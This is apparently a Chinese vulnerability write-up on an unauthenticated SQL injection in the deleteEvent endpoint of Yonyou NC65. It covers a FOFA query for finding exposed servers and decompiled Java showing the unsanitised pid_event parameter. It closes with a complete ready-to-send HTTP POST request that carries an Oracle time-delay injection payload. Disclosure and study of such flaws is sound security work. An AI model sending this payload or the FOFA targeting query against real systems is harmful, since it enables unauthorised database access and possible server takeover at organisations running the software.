用友NC deleteEvent SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。⽤友NC oacoSchedulerEvents/deleteEvent 接⼝处存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进 ⼀步利⽤可导致服务器失陷。

影响版本

NC65

fofa语法

icon_hash="1085941792" || app="用友-UFIDA-NC"

漏洞分析

SchedulerEventsAction 此前出现过 listUserSharingEvents sql注入漏洞,详情可以看这篇用友NC listUserSharingEvents SQL注入漏洞 ,而此次出现漏洞的方法变成了 deleteEvent

public void deleteEvent() throws BusinessException {
        ISchedulerQueryService schedulerQueryService = (ISchedulerQueryService)NCLocator.getInstance().lookup(ISchedulerQueryService.class);
        ISchedulerManageService schedulerManageService = (ISchedulerManageService)NCLocator.getInstance().lookup(ISchedulerManageService.class);
        String pk_event = SchedulerUtils.encodeURI(this.getRequest().getParameter("event_id"));
        String startDate = SchedulerUtils.encodeURI(this.getRequest().getParameter("startDate"));
        String endDate = SchedulerUtils.encodeURI(this.getRequest().getParameter("endDate"));
        String pid_event = SchedulerUtils.encodeURI(this.getRequest().getParameter("event_pid"));
        String event_ts = SchedulerUtils.encodeURI(this.getRequest().getParameter("event_ts"));
        String oper_type = SchedulerUtils.encodeURI(this.getRequest().getParameter("oper_type"));
        String event_type = SchedulerUtils.encodeURI(this.getRequest().getParameter("eventtype"));
        String source_id = SchedulerUtils.encodeURI(this.getRequest().getParameter("sourceid"));
        SchedulerEventJudger judger = new SchedulerEventJudger(schedulerQueryService);
        judger.getClass();
        SchedulerEventJudger.JudgedEvent judgerEvent = new SchedulerEventJudger.JudgedEvent(judger);
        judgerEvent.setPk_event(pk_event);
        judgerEvent.setStartDate(new UFDateTime(startDate));
        judgerEvent.setEvent_ts(new UFDateTime(event_ts));
        VersionStateEnum judgerState = judger.judgeCompatibleEvent(judgerEvent);

它与前面的文章 用友NC changeEvent SQL注入漏洞 处理逻辑是一样的,也是因为pid_event 被直接拼接到sql语句中进行执行从而造成SQL注入漏洞。

漏洞复现

漏洞利用需要条件

  1. 请求中需包含 event_id 参数(含 # 字符)。
  2. 其他参数(如 startDate、event_ts)需满足类型要求(可伪造合法值如 2025-05-07 12:12:12)。
POST /portal/pt/oacoSchedulerEvents/deleteEvent?pageId=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc65.mrxn.net

event_id=-1'AND 1=dbms_pipe.receive_message('RDS',3)--+#+&startDate=2025-05-07 12:12:12&event_ts=2025-05-07 12:12:12

成功延时 3 秒


手机扫码阅读

Unibox postprosa.php sql注入漏洞

宏景人力资源管理系统 HrpService SQL注入漏洞

评 论